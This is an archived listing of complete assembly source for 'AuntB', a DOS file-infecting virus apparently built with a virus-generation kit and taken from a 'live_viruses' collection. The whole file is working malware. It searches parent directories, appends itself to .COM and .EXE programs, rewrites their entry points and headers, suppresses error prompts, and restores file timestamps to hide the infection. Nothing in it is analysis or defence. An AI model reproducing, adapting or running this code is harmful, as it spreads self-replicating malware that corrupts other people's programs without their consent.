home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / auntb.asm < prev    next >
Assembly Source File  |  1994-04-11  |  12KB  |  363 lines
  1. ; auntb : AuntB (c) by HypoDermic!! Part of the Mayberry Family!!!
  2. ; Created with Biological Warfare - Version 0.90ß by MnemoniX
  3.  
  4. PING            equ     0CD7Bh
  5. INFECT          equ     3
  6. MARKER          equ     06864h
  7.  
  8. code            segment
  9.                 org     100h
  10.                 assume  cs:code,ds:code
  11.  
  12. start:
  13.                 db      0E9h,3,0          ; to virus
  14. host:
  15.                 db      0CDh,20h,0        ; host program
  16. virus_begin:
  17.                 call    $ + 3             ; BP is instruction ptr.
  18.                 pop     bp
  19.                 sub     bp,offset $ - 1
  20.  
  21.                 push    ds es
  22.  
  23.                 push    cs
  24.                 pop     ds
  25.                 lea     dx,[bp + offset new_DTA]
  26.                 mov     ah,1Ah
  27.                 int     21h
  28.  
  29.                 mov     byte ptr [bp + infections],0
  30.  
  31.                 push    [bp + exe_cs]
  32.                 push    [bp + exe_ip]
  33.                 push    [bp + exe_ss]
  34.                 push    [bp + exe_sp]
  35.                 call    traverse
  36.  
  37.                 pop     [bp + exe_sp]
  38.                 pop     [bp + exe_ss]
  39.                 pop     [bp + exe_ip]
  40.                 pop     [bp + exe_cs]
  41.                 pop     es ds
  42.                 mov     dx,80h
  43.                 mov     ah,1Ah
  44.                 int     21h
  45.  
  46.                 cmp     sp,MARKER               ; check for .EXE
  47.                 je      exe_exit
  48.  
  49. com_exit:
  50.                 lea     si,[bp + host]          ; restore host program
  51.                 mov     di,100h
  52.                 push    di
  53.                 movsw
  54.                 movsb
  55.  
  56.                 call    fix_regs                ; fix up registers
  57.                 ret                             ; and leave
  58. exe_exit:
  59.                 mov     ax,ds                   ; fix up return address
  60.                 add     ax,10h
  61.                 push    ax
  62.                 add     ax,cs:[bp + exe_cs]
  63.                 mov     cs:[bp + return_cs],ax
  64.  
  65.                 mov     ax,cs:[bp + exe_ip]
  66.                 mov     cs:[bp + return_ip],ax
  67.  
  68.                 pop     ax
  69.                 add     ax,cs:[bp + exe_ss]        ; restore stack
  70.                 cli
  71.                 mov     ss,ax
  72.                 mov     sp,cs:[bp + exe_sp]
  73.  
  74.                 call    fix_regs                ; fix up registers
  75.                 sti
  76.  
  77.                 db      0EAh                    ; back to host program
  78. return_ip       dw      0
  79. return_cs       dw      0
  80.  
  81. exe_cs          dw      -16                     ; orig CS:IP
  82. exe_ip          dw      103h
  83. exe_sp          dw      -2                      ; orig SS:SP
  84. exe_ss          dw      -16
  85.  
  86. fix_regs:
  87.                 xor     ax,ax
  88.                 cwd
  89.                 xor     bx,bx
  90.                 mov     si,100h
  91.                 xor     di,di
  92.                 xor     bp,bp
  93.                 ret
  94.  
  95.  
  96. traverse:
  97.                 sub     sp,64                   ; allocate stack space
  98.                 mov     si,sp
  99.                 inc     si
  100.                 mov     ah,47h                  ; get current directory
  101.                 xor     dl,dl
  102.                 push    ds
  103.                 push    ss
  104.                 pop     ds
  105.                 int     21h
  106.  
  107.                 pop     ds
  108.                 dec     si
  109.                 mov     byte ptr ss:[si],'\' ; fix directory
  110.  
  111. next_dir:
  112.                 call    infect_dir
  113.  
  114.                 cmp     byte ptr [bp + infections],INFECT
  115.                 je      traverse_done
  116.  
  117.                 lea     dx,[bp + outer]         ; repeat in next dir up
  118.                 mov     ah,3Bh
  119.                 int     21h
  120.                 jnc     next_dir
  121.  
  122. traverse_done:
  123.                 add     sp,64                   ; reset
  124.                 mov     dx,si
  125.                 push    ds
  126.                 push    ss
  127.                 pop     ds
  128.                 mov     ah,3Bh
  129.                 int     21h
  130.                 pop     ds
  131.                 ret
  132.  
  133. infect_dir:
  134.                 mov     ah,4Eh
  135.                 lea     dx,[bp + find_me]
  136.                 int     21h
  137.                 jc      infect_done
  138.  
  139. next_file:
  140.                 lea     dx,[bp + new_DTA + 1Eh]
  141.                 call    file_open
  142.                 cmp     byte ptr [bp + infections],INFECT
  143.                 je      infect_done
  144.                 mov     ah,4Fh
  145.                 int     21h
  146.                 jnc     next_file
  147.  
  148. infect_done:
  149.                 ret
  150.  
  151. file_open:
  152.                 push    ax cx di es
  153.                 call    get_extension
  154.                 cmp     [di],'OC'               ; .COM file?
  155.                 jne     perhaps_exe             ; perhaps .EXE then
  156.                 cmp     byte ptr [di + 2],'M'
  157.                 jne     not_prog
  158.                 jmp     a_program
  159. perhaps_exe:
  160.                 cmp     [di],'XE'               ; .EXE file?
  161.                 jne     not_prog
  162.                 cmp     byte ptr [di + 2],'E'
  163.                 jne     not_prog
  164. a_program:
  165.                 pop     es di cx ax
  166.                 jmp     execute                 ; infect file
  167. not_prog:
  168.                 pop     es di cx ax
  169.                 ret
  170.  
  171. execute:
  172.                 push    si
  173.  
  174.                 xor     ax,ax                   ; critical error handler
  175.                 mov     es,ax                   ; routine - catch int 24
  176.                 lea     ax,[bp + int_24]
  177.                 mov     es:[24h * 4],ax
  178.                 mov     es:[24h * 4 + 2],cs
  179.  
  180.                 mov     ax,4300h                ; change attributes
  181.                 int     21h
  182.  
  183.                 push    cx dx ds
  184.                 xor     cx,cx
  185.                 call    set_attributes
  186.  
  187.                 mov     ax,3D02h                ; open file
  188.                 int     21h
  189.                 jc      cant_open
  190.                 xchg    bx,ax
  191.  
  192.                 mov     ax,5700h                ; save file date/time
  193.                 int     21h
  194.                 push    cx dx
  195.                 mov     ah,3Fh
  196.                 mov     cx,28
  197.                 lea     dx,[bp + read_buffer]
  198.                 int     21h
  199.  
  200.                 cmp     word ptr [bp + read_buffer],'ZM'
  201.                 je      infect_exe              ; yes, infect as .EXE
  202.  
  203.                 mov     al,2                    ; move to end of file
  204.                 call    move_file_ptr
  205.  
  206.                 cmp     dx,65279 - (VIRUS_SIZE + 3)
  207.                 ja      dont_infect             ; too big, don't infect
  208.  
  209.                 sub     dx,VIRUS_SIZE + 3       ; check for previous infection
  210.                 cmp     dx,word ptr [bp + read_buffer + 1]
  211.                 je      dont_infect
  212.  
  213.                 add     dx,VIRUS_SIZE + 3
  214.                 mov     word ptr [bp + new_jump + 1],dx
  215.  
  216.                 lea     dx,[bp + read_buffer]   ; save original program head
  217.                 int     21h
  218.                 mov     ah,40h                  ; write virus to file
  219.                 mov     cx,VIRUS_SIZE
  220.                 lea     dx,[bp + virus_begin]
  221.                 int     21h
  222.  
  223.                 xor     al,al                   ; back to beginning of file
  224.                 call    move_file_ptr
  225.  
  226.                 lea     dx,[bp + new_jump]
  227.                 int     21h
  228.  
  229. fix_date_time:
  230.                 pop     dx cx
  231.                 mov     ax,5701h                ; restore file date/time
  232.                 int     21h
  233.  
  234.                 inc     byte ptr [bp + infections]
  235.  
  236. close:
  237.                 pop     ds dx cx                ; restore attributes
  238.                 call    set_attributes
  239.  
  240.                 mov     ah,3Eh                  ; close file
  241.                 int     21h
  242.  
  243. cant_open:
  244.                 pop     si
  245.                 ret
  246.  
  247.  
  248. set_attributes:
  249.                 mov     ax,4301h
  250.                 int     21h
  251.                 ret
  252.  
  253. dont_infect:
  254.                 pop     cx dx                   ; can't infect, skip
  255.                 jmp     close
  256.  
  257. move_file_ptr:
  258.                 mov     ah,42h                  ; move file pointer
  259.                 cwd
  260.                 xor     cx,cx
  261.                 int     21h
  262.  
  263.                 mov     dx,ax                   ; set up registers
  264.                 mov     ah,40h
  265.                 mov     cx,3
  266.                 ret
  267. infect_exe:
  268.                 cmp     word ptr [bp + read_buffer + 26],0
  269.                 jne     dont_infect             ; overlay, don't infect
  270.  
  271.                 cmp     word ptr [bp + read_buffer + 16],MARKER
  272.                 je      dont_infect             ; infected already
  273.  
  274.                 les    ax,dword ptr [bp + read_buffer + 20]
  275.                 mov    [bp + exe_cs],es
  276.                 mov    [bp + exe_ip],ax
  277.                 les    ax,dword ptr [bp + read_buffer + 14]
  278.                 mov    [bp + exe_ss],ax
  279.                 mov    [bp + exe_sp],es
  280.                 mov    word ptr [bp + read_buffer + 16],MARKER
  281.                 mov     ax,4202h                ; to end of file
  282.                 cwd
  283.                 xor     cx,cx
  284.                 int     21h
  285.  
  286.                 push    ax dx                   ; save file size
  287.  
  288.                 push    bx
  289.                 mov     cl,12                   ; calculate offsets for CS
  290.                 shl     dx,cl                   ; and IP
  291.                 mov     bx,ax
  292.                 mov     cl,4
  293.                 shr     bx,cl
  294.                 add     dx,bx
  295.                 and     ax,15
  296.                 pop     bx
  297.  
  298.                 sub    dx,word ptr [bp + read_buffer + 8]
  299.                 mov    word ptr [bp + read_buffer + 22],dx
  300.                 mov    word ptr [bp + read_buffer + 20],ax
  301.                 add    dx,100h
  302.                 mov    word ptr [bp + read_buffer + 14],dx
  303.  
  304.                 pop     dx ax                   ; calculate prog size
  305.  
  306.                 add     ax,VIRUS_SIZE + 3
  307.                 adc     dx,0
  308.                 mov     cx,512                  ; in pages
  309.                 div     cx                      ; then save results
  310.                 inc     ax
  311.                 mov     word ptr [bp + read_buffer + 2],dx
  312.                 mov     word ptr [bp + read_buffer + 4],ax
  313.  
  314.                 mov     ah,40h
  315.                 mov     cx,VIRUS_SIZE + 3
  316.                 lea     dx,[bp + virus_begin]
  317.                 int     21h
  318.  
  319.  
  320.                 mov     ax,4200h                ; back to beginning
  321.                 cwd
  322.                 xor     cx,cx
  323.                 int     21h
  324.  
  325.                 mov     ah,40h                  ; and fix up header
  326.                 mov     cx,28
  327.                 lea     dx,[bp + read_buffer]
  328.                 int     21h
  329.                 jmp     fix_date_time           ; done
  330.  
  331. courtesy_of     db      '[BW]',0
  332. signature       db      'AuntB (c) by HypoDermic!! Part of the Mayberry Family!!!',0
  333.  
  334. get_extension:
  335.                 push    ds                      ; find extension
  336.                 pop     es
  337.                 mov     di,dx
  338.                 mov     cx,64
  339.                 mov     al,'.'
  340.                 repnz   scasb
  341.                 ret
  342.  
  343. find_me         db      '*.*',0
  344. outer           db      '..',0
  345.  
  346. int_24:
  347.                 mov     al,3                    ; int 24 handler
  348.                 iret
  349. new_jump        db      0E9h,0,0
  350.  
  351. infections      db      0
  352. virus_end:
  353. VIRUS_SIZE      equ     virus_end - virus_begin
  354. read_buffer     db      28 dup (?)              ; read buffer
  355. new_DTA         db      128 dup(?)
  356.  
  357. end_heap:
  358.  
  359. MEM_SIZE        equ     end_heap - start
  360.  
  361. code            ends
  362.                 end     start
  363.